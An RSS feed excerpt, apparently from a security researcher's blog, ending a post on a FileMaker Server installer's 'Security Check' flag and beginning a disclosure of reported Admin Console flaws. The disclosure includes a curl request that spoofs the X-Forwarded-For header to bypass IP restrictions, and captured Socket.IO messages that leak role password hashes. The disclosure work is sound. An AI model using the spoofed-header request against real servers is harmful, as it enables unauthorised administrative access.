&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;checkNginxAndApacheVersion&lt;span class="o"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; :
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;local&lt;/span&gt; &lt;span class="nv"&gt;result&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$ERROR_NONE&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;nginxVersion&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;nginx -v 2&amp;gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; grep -oP &lt;span class="s1"&gt;&amp;#39;nginx/\K[^ ]+&amp;#39;&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;apacheVersion&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;apache2 -v 2&amp;gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; grep -oP &lt;span class="s1"&gt;&amp;#39;Apache/\K[^ ]+&amp;#39;&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; dpkg --compare-versions &lt;span class="nv"&gt;$nginxVersion&lt;/span&gt; lt 1.27.0 &lt;span class="o"&gt;||&lt;/span&gt; dpkg --compare-versions &lt;span class="nv"&gt;$apacheVersion&lt;/span&gt; lt 2.4.57&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; dpkg --compare-versions &lt;span class="nv"&gt;$nginxVersion&lt;/span&gt; lt 1.27.0 &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; message &lt;span class="s2"&gt;&amp;#34;Warning: Current nginx version(&lt;/span&gt;&lt;span class="nv"&gt;$nginxVersion&lt;/span&gt;&lt;span class="s2"&gt;) is too low, it probably can lead a serious security issue! Please run the script -- NginxUpdate.sh to upgrade it to the latest vers
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;ion!(Ignore: If use Apache)&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; dpkg --compare-versions &lt;span class="nv"&gt;$apacheVersion&lt;/span&gt; lt 2.4.57 &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; message &lt;span class="s2"&gt;&amp;#34;Warning: Current apache version(&lt;/span&gt;&lt;span class="nv"&gt;$apacheVersion&lt;/span&gt;&lt;span class="s2"&gt;) is too low, it probably can lead a serious security issue! Please run the script -- ApacheUpdate.sh to upgrade it to the latest
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;version!(Ignore: If use Nginx)&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;read&lt;/span&gt; -r -p &lt;span class="s2"&gt;&amp;#34; Do you want to continue to install? [y/n]&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[[&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$REPLY&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;y&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$REPLY&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Y&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$REPLY&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;yes&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$REPLY&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;YES&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;]]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;result&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$ERROR_NONE&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;else&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;result&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$ERROR_INTERRUPT&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; :
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nv"&gt;$result&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;You can see that both nginx and Apache versions are checked against hardcoded version numbers, and if either one is lower than the target version a prompt will appear, trying to read from stdin (&lt;code&gt;read -r -p &amp;quot;...&amp;quot;&lt;/code&gt;).&lt;/p&gt;
&lt;div class="notice notice-info"&gt;
 I don&amp;rsquo;t know why they are checking for both versions and not depending on what web server is or will actually be in use.
&lt;/div&gt;

&lt;p&gt;If we trace the calls to the function, we see a little further up that the check only takes place under certain conditions:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;isLicenseAccepted&lt;span class="o"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ...
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;		&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[[&lt;/span&gt; &lt;span class="nv"&gt;$result&lt;/span&gt; -eq &lt;span class="nv"&gt;$ERROR_NONE&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nv"&gt;$SECURITY_CHECK&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;true&lt;/span&gt; &lt;span class="o"&gt;]]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;So where is &lt;code&gt;$SECURITY_CHECK&lt;/code&gt; coming from?&lt;/p&gt;
&lt;p&gt;It&amp;rsquo;s actually read from the &lt;code&gt;Assisted Install.txt&lt;/code&gt; file in &lt;code&gt;readAssistedInstallInfo()&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[[&lt;/span&gt; &lt;span class="nv"&gt;$fileValid&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;true&lt;/span&gt; &lt;span class="o"&gt;]]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;key&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$line&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; cut -d &lt;span class="s2"&gt;&amp;#34;=&amp;#34;&lt;/span&gt; -f &lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; xargs&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;value&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$line&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; cut -d &lt;span class="s2"&gt;&amp;#34;=&amp;#34;&lt;/span&gt; -f 2&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$key&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; in
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;Security Check&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$value&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; in
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;1&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;true&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;True&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;yes&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Yes&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;SECURITY_CHECK&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; * &lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;SECURITY_CHECK&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;false&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;esac&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Essentially, this means we can jump over this interactive prompt by setting &lt;code&gt;Security Check=0&lt;/code&gt; in our &lt;code&gt;Assisted Install.txt&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Looking at the documentation of assisted installs, there&amp;rsquo;s unfortunately no mention of this flag: &lt;a href="https://community.claris.com/en/s/article/Assisted-install-of-FileMaker-Server-17-and-later"&gt;Assisted install of Claris FileMaker Server&lt;/a&gt; (at the time of this writing).&lt;/p&gt;
&lt;p&gt;Once I found the flag name, I researched a bit more and eventually found that it&amp;rsquo;s actually officially documented – just somewhere else (oh, well). Look at &amp;ldquo;Linux: Show the Apache and Nginx update warnings&amp;rdquo; here: &lt;a href="https://help.claris.com/en/server-network-install-setup-guide/content/customize-personalization-file.html"&gt;Customize the personalization file&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="the-solution"&gt;The solution&lt;/h2&gt;
&lt;p&gt;After this little detour into the installer, the solution is quite simple:&lt;/p&gt;
&lt;p&gt;Set &lt;code&gt;Security Check=0&lt;/code&gt; if you don&amp;rsquo;t want to be prompted.&lt;/p&gt;
&lt;p&gt;Alternatively, make sure to upgrade your web server versions (unfortunately both nginx and Apache) to the indicated version first, and then run your non-interactive install.&lt;/p&gt;
&lt;p&gt;You can find the upgrade scripts in the package as well; they are called: &lt;code&gt;NginxUpdate.sh&lt;/code&gt; and &lt;code&gt;ApacheUpdate.sh&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;I hope this saves someone else a little bit of digging :-)&lt;/p&gt;</description></item><item><title>FileMaker Server Admin Console: Access and Role Restriction Issues</title><link>https://davidhamann.de/2024/10/09/fms-bypassing-restrictions/</link><pubDate>Wed, 09 Oct 2024 00:00:00 +0000</pubDate><guid>https://davidhamann.de/2024/10/09/fms-bypassing-restrictions/</guid><description>&lt;p&gt;With a few security features added to the FileMaker Server Admin Console in the last few versions, I decided to play around with them to see how they are implemented.&lt;/p&gt;
&lt;p&gt;In this article I want to highlight three of the issues I found last year (2023) and subsequently reported to Claris/Apple.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;TL;DR&lt;/strong&gt;: Until version FileMaker Server version 21.0.1 you can bypass the IP restricions and until version 20.3.1 no administrator role privileges are respected on the server (every role can upgrade itself to all privileges). The latter issue remains only partially fixed.&lt;/p&gt;
&lt;h2 id="access-restriction-bypass-cve-2024-40768"&gt;Access restriction bypass (CVE-2024-40768)&lt;/h2&gt;
&lt;p&gt;The FileMaker Server Admin Console can be configured to only allow access from certain IP addresses (in addition to the loopback address).&lt;/p&gt;
&lt;p&gt;If I remember correctly, this restriction was originally enforced via the configuration of the web server (IIS/Apache/nginx) but was then moved to be part of the Admin Console application itself (handling and configuring).&lt;/p&gt;
&lt;p&gt;&lt;img alt="Configuring access restrictions" loading="lazy" src="https://davidhamann.de/images/fms-ip-access-restriction.png"&gt;&lt;/p&gt;
&lt;p&gt;The issue with the implementation up until 21.0.1 is that the application blindly trusts the &lt;code&gt;X-Forwarded-For&lt;/code&gt; header to determine the IP address.&lt;/p&gt;
&lt;p&gt;This can be fine, for example if the web server / reverse proxy is actually configured to overwrite any &lt;code&gt;X-Forwarded-For&lt;/code&gt; header of incoming requests with its own IP address and/or the source IP (chained).&lt;/p&gt;
&lt;p&gt;However, in a default FileMaker Server installation, this is not the case, rendering the access restriction useless as anyone can send their own &lt;code&gt;X-Fowarded-For&lt;/code&gt; header which is guaranteed to arrive at and to be parsed by the Admin Console application.&lt;/p&gt;
&lt;p&gt;Just setting the header to 127.0.0.1 will always give you access, independent of the access restriction settings that have been configured.&lt;/p&gt;
&lt;p&gt;Example without custom header:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;$ curl https://your-server.example/admin-console
Your machine (1.2.3.4) does not have access to the FileMaker Server Admin Console. Please contact the server administrator for help.
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Example with custom header:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;$ curl -H &amp;#39;X-Forwarded-For: 127.0.0.1&amp;#39; https://your-server.example/admin-console
&amp;lt;html&amp;gt;
...
login page
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In case you are wondering if this applies to any specific platform: it does not. Since the application handles the restriction, it works the same on Windows, Linux and macOS (haven&amp;rsquo;t tested on macOS but I&amp;rsquo;m almost certain it works).&lt;/p&gt;
&lt;h2 id="administrator-role-restriction-bypass-cve-2023-42954--passwords-being-sent-to-client-cve-2023-42955"&gt;Administrator Role restriction bypass (CVE-2023-42954) &amp;amp; passwords being sent to client (CVE-2023-42955)&lt;/h2&gt;
&lt;p&gt;Since FileMaker Server 19.6.1 it is possible to configure so called &amp;ldquo;Adminstrator Roles&amp;rdquo; via the Admin Console. The feature is described in the release notes as:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Administrator roles allow you to administer a subset of available databases using a distinct username and password and with a chosen subset of privileges.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img alt="Configuring Administrator Roles" loading="lazy" src="https://davidhamann.de/images/fms-admin-roles.png"&gt;&lt;/p&gt;
&lt;p&gt;If we look at the traffic the Admin Console produces after login, we quickly realize that a lot of the communication happens via WebSockets.&lt;/p&gt;
&lt;p&gt;The Admin Console makes use of the Socket.IO library, so when looking at the exchanged messages, we will see a little bit of meta data for each event (such as the type of a packet).&lt;/p&gt;
&lt;p&gt;Additionally, since long-polling (POST request for sending, GET request which is held on for some time until there&amp;rsquo;s something to return) is supported as a fallback (when WebSockets are not available), we might also see some HTTP requests/responses in the same format.&lt;/p&gt;
&lt;p&gt;After logging into the Admin Console, the first Socket.IO related request is for the handshake. It looks something like this:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;GET /socket.io/?EIO=4&amp;amp;transport=polling&amp;amp;t=1234 HTTP/2
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The response includes a session ID (and a hint that we could upgrade to WebSockets for communication):&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;0{&amp;#34;sid&amp;#34;:&amp;#34;Dq4roeq9GwwF5aLEAAAC&amp;#34;,&amp;#34;upgrades&amp;#34;:[&amp;#34;websocket&amp;#34;],&amp;#34;pingInterval&amp;#34;:25000,&amp;#34;pingTimeout&amp;#34;:20000,&amp;#34;maxPayload&amp;#34;:1000000}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Using this session ID, the client can then connect and start sending/receiving messages (via any of the supported transports).&lt;/p&gt;
&lt;p&gt;In the case of the Admin Console, the next request contains a JSON Web Token, previously obtained by the login (regular POST to &lt;code&gt;POST /fmi/admin/internal/v1/user/login&lt;/code&gt;), for authentication:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;POST /socket.io/?EIO=4&amp;amp;transport=polling&amp;amp;t=1234&amp;amp;sid=Dq4roeq9GwwF5aLEAAAC HTTP/2

40{&amp;#34;token&amp;#34;:&amp;#34;some base64 encoded JWT&amp;#34;}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The &lt;code&gt;40&lt;/code&gt; in the beginning is meta data (&lt;a href="https://github.com/socketio/socket.io-protocol#exchange-protocol"&gt;&amp;ldquo;message&amp;rdquo; packet type identifier&lt;/a&gt;, with &lt;a href="https://github.com/socketio/socket.io-protocol#exchange-protocol"&gt;&amp;ldquo;CONNECT&amp;rdquo; action&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;The server responds with an &lt;code&gt;ok&lt;/code&gt; and afterwards &amp;ldquo;regular&amp;rdquo; event messages are being exchanged (and optionally the transport is changed to WebSockets).&lt;/p&gt;
&lt;p&gt;In the case of the Admin Console, several messages are sent right away to acquire all the data for the frontend to display. This is can be anything from available databases, to configuration data, to server usage information.&lt;/p&gt;
&lt;p&gt;The part we are interested in for the Adminitrator Roles is the following event sent to the client: &lt;code&gt;EVENT_ADMIN_ROLE_LIST&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;It contains information about all the roles that are configured, and looks something like this:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;42[&amp;#34;EVENT_ADMIN_ROLE_LIST&amp;#34;,[{&amp;#34;privileges&amp;#34;:[],&amp;#34;db_pri&amp;#34;:false,&amp;#34;sched_pri&amp;#34;:false,&amp;#34;sched_backup_pri&amp;#34;:false,&amp;#34;sched_verify_pri&amp;#34;:false,&amp;#34;sched_script_pri&amp;#34;:false,&amp;#34;log_pri&amp;#34;:false,&amp;#34;password&amp;#34;:&amp;#34;$0$EMLIItg2FQ4Qfus15E/+B7KJfJt/dEbnz4jCQJVwrTt0&amp;#34;,&amp;#34;xauthGroup&amp;#34;:&amp;#34;&amp;#34;,&amp;#34;homeFolder&amp;#34;:&amp;#34;filewin:/C:/Program Files/FileMaker/FileMaker Server/Data/Databases/restricted/&amp;#34;,&amp;#34;dbFolderPath&amp;#34;:&amp;#34;filewin:/C:/Program Files/FileMaker/FileMaker Server/Data/Databases/&amp;#34;,&amp;#34;dbSubFolderName&amp;#34;:&amp;#34;restricted&amp;#34;,&amp;#34;name&amp;#34;:&amp;#34;restricted_access&amp;#34;,&amp;#34;id&amp;#34;:1693575613430,&amp;#34;confirmpassword&amp;#34;:&amp;#34;$0$EMLIItg2FQ4Qfus15E/+B7KJfJt/dEbnz4jCQJVwrTt0&amp;#34;},{&amp;#34;privileges&amp;#34;:[&amp;#34;DATABASE_MANAGEMENT&amp;#34;],&amp;#34;db_pri&amp;#34;:true,&amp;#34;sched_pri&amp;#34;:false,&amp;#34;sched_backup_pri&amp;#34;:false,&amp;#34;sched_verify_pri&amp;#34;:false,&amp;#34;sched_script_pri&amp;#34;:false,&amp;#34;log_pri&amp;#34;:false,&amp;#34;password&amp;#34;:&amp;#34;$0$EBjPmSZgDIR/ZogaGcg3j0sypReCs3l0Dth3F1xDzOzm&amp;#34;,&amp;#34;xauthGroup&amp;#34;:&amp;#34;&amp;#34;,&amp;#34;homeFolder&amp;#34;:&amp;#34;filewin:/C:/Program Files/FileMaker/FileMaker Server/Data/Secure/&amp;#34;,&amp;#34;dbFolderPath&amp;#34;:&amp;#34;filewin:/C:/Program Files/FileMaker/FileMaker Server/Data/Secure/&amp;#34;,&amp;#34;dbSubFolderName&amp;#34;:&amp;#34;&amp;#34;,&amp;#34;name&amp;#34;:&amp;#34;another_role&amp;#34;,&amp;#34;id&amp;#34;:1693575900936,&amp;#34;confirmpassword&amp;#34;:&amp;#34;$0$EBjPmSZgDIR/ZogaGcg3j0sypReCs3l0Dth3F1xDzOzm&amp;#34;}]]
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Cutting off the meta data (this time with &lt;code&gt;2&lt;/code&gt; for &lt;code&gt;EVENT&lt;/code&gt;) and formatting the message, it looks like this:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;[
 &amp;#34;EVENT_ADMIN_ROLE_LIST&amp;#34;,
 [
 {
 &amp;#34;privileges&amp;#34;: [],
 &amp;#34;db_pri&amp;#34;: false,
 &amp;#34;sched_pri&amp;#34;: false,
 &amp;#34;sched_backup_pri&amp;#34;: false,
 &amp;#34;sched_verify_pri&amp;#34;: false,
 &amp;#34;sched_script_pri&amp;#34;: false,
 &amp;#34;log_pri&amp;#34;: false,
 &amp;#34;password&amp;#34;: &amp;#34;$0$EMLIItg2FQ4Qfus15E/+B7KJfJt/dEbnz4jCQJVwrTt0&amp;#34;,
 &amp;#34;xauthGroup&amp;#34;: &amp;#34;&amp;#34;,
 &amp;#34;homeFolder&amp;#34;: &amp;#34;filewin:/C:/Program Files/FileMaker/FileMaker Server/Data/Databases/restricted/&amp;#34;,
 &amp;#34;dbFolderPath&amp;#34;: &amp;#34;filewin:/C:/Program Files/FileMaker/FileMaker Server/Data/Databases/&amp;#34;,
 &amp;#34;dbSubFolderName&amp;#34;: &amp;#34;restricted&amp;#34;,
 &amp;#34;name&amp;#34;: &amp;#34;restricted_access&amp;#34;,
 &amp;#34;id&amp;#34;: 1693575613430,
 &amp;#34;confirmpassword&amp;#34;: &amp;#34;$0$EMLIItg2FQ4Qfus15E/+B7KJfJt/dEbnz4jCQJVwrTt0&amp;#34;
 },
 {
 &amp;#34;privileges&amp;#34;: [
 &amp;#34;DATABASE_MANAGEMENT&amp;#34;
 ],
 &amp;#34;db_pri&amp;#34;: true,
 &amp;#34;sched_pri&amp;#34;: false,
 &amp;#34;sched_backup_pri&amp;#34;: false,
 &amp;#34;sched_verify_pri&amp;#34;: false,
 &amp;#34;sched_script_pri&amp;#34;: false,
 &amp;#34;log_pri&amp;#34;: false,
 &amp;#34;password&amp;#34;: &amp;#34;$0$EBjPmSZgDIR/ZogaGcg3j0sypReCs3l0Dth3F1xDzOzm&amp;#34;,
 &amp;#34;xauthGroup&amp;#34;: &amp;#34;&amp;#34;,
 &amp;#34;homeFolder&amp;#34;: &amp;#34;filewin:/C:/Program Files/FileMaker/FileMaker Server/Data/Secure/&amp;#34;,
 &amp;#34;dbFolderPath&amp;#34;: &amp;#34;filewin:/C:/Program Files/FileMaker/FileMaker Server/Data/Secure/&amp;#34;,
 &amp;#34;dbSubFolderName&amp;#34;: &amp;#34;&amp;#34;,
 &amp;#34;name&amp;#34;: &amp;#34;another_role&amp;#34;,
 &amp;#34;id&amp;#34;: 1693575900936,
 &amp;#34;confirmpassword&amp;#34;: &amp;#34;$0$EBjPmSZgDIR/ZogaGcg3j0sypReCs3l0Dth3F1xDzOzm&amp;#34;
 }
 ]
]
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The first oddity I noticed is that the whole array of all admin roles is sent to the client, regardless of the login session.&lt;/p&gt;
&lt;p&gt;This means that we can login as any role and always get all role data (we &lt;em&gt;do&lt;/em&gt; have to login, though 🤓).&lt;/p&gt;
&lt;p&gt;This may or may not be an issue, but sending the passwords for all roles all the time (even if not in plaintext) is not great.&lt;/p&gt;
&lt;div class="notice notice-danger"&gt;
 When I looked at the administrator roles initially, I tested it with FileMaker Server 19.6.1. Here, the passwords were indeed sent in plaintext (for all groups)! So the message looked something like: &lt;code&gt;[&amp;quot;privileges&amp;quot;: [],&amp;quot;db_pri&amp;quot;: false, &amp;lt;snip&amp;gt;&amp;quot;confirmpassword&amp;quot;: &amp;quot;very_secret&amp;quot;}]&lt;/code&gt;. This is not the case in 20.1.2 anymore, though.
&lt;/div&gt;

&lt;p&gt;Apart from the password information that is still being shipped to the client, it might not be too big of a deal to be able to get information about the existence of other roles.&lt;/p&gt;
&lt;p&gt;However, if we get all this info back from the server, is the server actually checking what role and privileges a user has?&lt;/p&gt;
&lt;p&gt;Since we understand how messages are exchanged between server and client, we can easily test this out.&lt;/p&gt;
